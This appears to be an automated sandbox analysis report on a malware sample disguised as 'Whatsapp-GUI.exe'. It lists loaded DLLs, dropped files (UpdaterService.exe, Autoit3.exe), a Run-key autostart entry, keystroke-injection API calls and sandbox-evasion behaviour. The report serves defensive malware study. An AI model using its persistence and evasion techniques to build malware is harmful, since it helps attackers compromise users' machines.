Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Section loaded: sspicli.dll	Jump to behavior

Source: C:\Windows\SysWOW64\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Uses Microsoft Silverlight

Source: C:\Users\user\Desktop\Whatsapp-GUI.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

PE / OLE file has a valid certificate

Source: Whatsapp-GUI.exe

Static PE information: certificate valid

PE file contains a COM descriptor data directory

Source: Whatsapp-GUI.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: Whatsapp-GUI.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

PE file contains a debug data directory

Source: Whatsapp-GUI.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Binary contains paths to debug symbols

Source:

Binary string: C:\Users\Work\source\repos\Whatsapp-GUI\Whatsapp-GUI\obj\Debug\Whatsapp-GUI.pdb source: Whatsapp-GUI.exe

Data Obfuscation

Source: Whatsapp-GUI.exe

Static PE information: 0x8CE2628A [Fri Nov 25 00:30:02 2044 UTC]

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_008BC6D9 LoadLibraryA,GetProcAddress,

9_2_008BC6D9

Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Code function: 0_2_09E0399D push FFFFFF8Bh; iretd	0_2_09E0399F
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F1B5F5 push ecx; ret	2_3_04F1B608
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F1B5F5 push ecx; ret	2_3_04F1B608
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04EF770A push esi; ret	2_3_04EF770D
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04EF770A push esi; ret	2_3_04EF770D
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_0086E93F push edi; ret	9_2_0086E941
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008A8A4A push FFFFFF8Bh; iretd	9_2_008A8A4C
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_0086EA58 push esi; ret	9_2_0086EA5A
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00868B75 push ecx; ret	9_2_00868B88
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_0086EC33 push esi; ret	9_2_0086EC35
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_0086ED1C push edi; ret	9_2_0086ED1E
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00F1E1C1 push 00F1E212h; ret	9_2_00F1E20A
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00F1C225 push eax; ret	9_2_00F1C261
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00F223A9 push 00F223CFh; ret	9_2_00F223C7
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00F1F4C1 push ecx; mov dword ptr [esp], eax	9_2_00F1F4C2
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00F1E441 push 00F1E46Dh; ret	9_2_00F1E465
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00F1E409 push 00F1E435h; ret	9_2_00F1E42D
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00F1E58A push 00F1E835h; ret	9_2_00F1E82D
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00F1E551 push 00F1E57Dh; ret	9_2_00F1E575
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00F1E809 push 00F1E835h; ret	9_2_00F1E82D
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00F21ABD push 00F21C39h; ret	9_2_00F21C31
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00F21C3B push 00F21CACh; ret	9_2_00F21CA4
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00F21C3D push 00F21CACh; ret	9_2_00F21CA4
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00F2AEBC pushad ; ret	9_2_00F2AEF9
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03BB83A0 push 03BB83CCh; ret	9_2_03BB83C4
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03BB43A4 push 03BB43D0h; ret	9_2_03BB43C8
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B7C380 push 03B7C3B4h; ret	9_2_03B7C3AC
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B7C388 push 03B7C3B4h; ret	9_2_03B7C3AC
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03BB83D8 push 03BB8404h; ret	9_2_03BB83FC
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03BB8330 push 03BB835Ch; ret	9_2_03BB8354
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03BB8368 push 03BB8394h; ret	9_2_03BB838C

Persistence and Installation Behavior

Source: C:\ProgramData\Updater\UpdaterService.exe	File created: C:\ProgramData\bfadeeb\Autoit3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	File created: C:\ProgramData\Updater\UpdaterService.exe (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	File created: C:\ProgramData\Updater\Autoit3.exe	Jump to dropped file

Source: C:\ProgramData\Updater\UpdaterService.exe	File created: C:\ProgramData\bfadeeb\Autoit3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	File created: C:\ProgramData\Updater\UpdaterService.exe (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	File created: C:\ProgramData\Updater\Autoit3.exe	Jump to dropped file

Boot Survival

Creates autostart registry keys with suspicious names

Source: C:\ProgramData\Updater\UpdaterService.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run deafbbd

Jump to behavior

Source: C:\ProgramData\Updater\UpdaterService.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run deafbbd			Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run deafbbd			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008C59B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		9_2_008C59B3
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00855EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		9_2_00855EDA

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_008633B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

9_2_008633B7

Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_03BBC828

9_2_03BBC828

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: UpdaterService.exe, UpdaterService.exe, 00000002.00000003.1833815328.0000000005688000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834283511.0000000005320000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4180519040.0000000004871000.00000040.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4183663536.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4180372722.0000000004770000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000002.4179218792.00000000046B4000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, Autoit3.exe, 00000009.00000002.1965692690.00000000039A4000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 00000009.00000002.1965977037.0000000003A60000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe, 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Autoit3.exe, 0000000A.00000002.2042458426.0000000003DE0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: SUPERANTISPYWARE.EXE

Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Memory allocated: 1160000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Memory allocated: 2AA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Memory allocated: 4AA0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Thread delayed: delay time: 1800000			Jump to behavior

Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Window / User API: threadDelayed 2383	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Window / User API: threadDelayed 7448	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Window / User API: threadDelayed 1914	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Window / User API: threadDelayed 1127	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Window / User API: foregroundWindowGot 1390	Jump to behavior

Source: C:\ProgramData\bfadeeb\Autoit3.exe

API coverage: 4.9 %

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_03BBC828

9_2_03BBC828

Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -29514790517935264s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -99857s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -99748s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -99639s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -99529s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -99421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -99307s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -99202s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -99079s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -98922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -98809s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe TID: 7424	Thread sleep time: -98703s >= -30000s	Jump to behavior
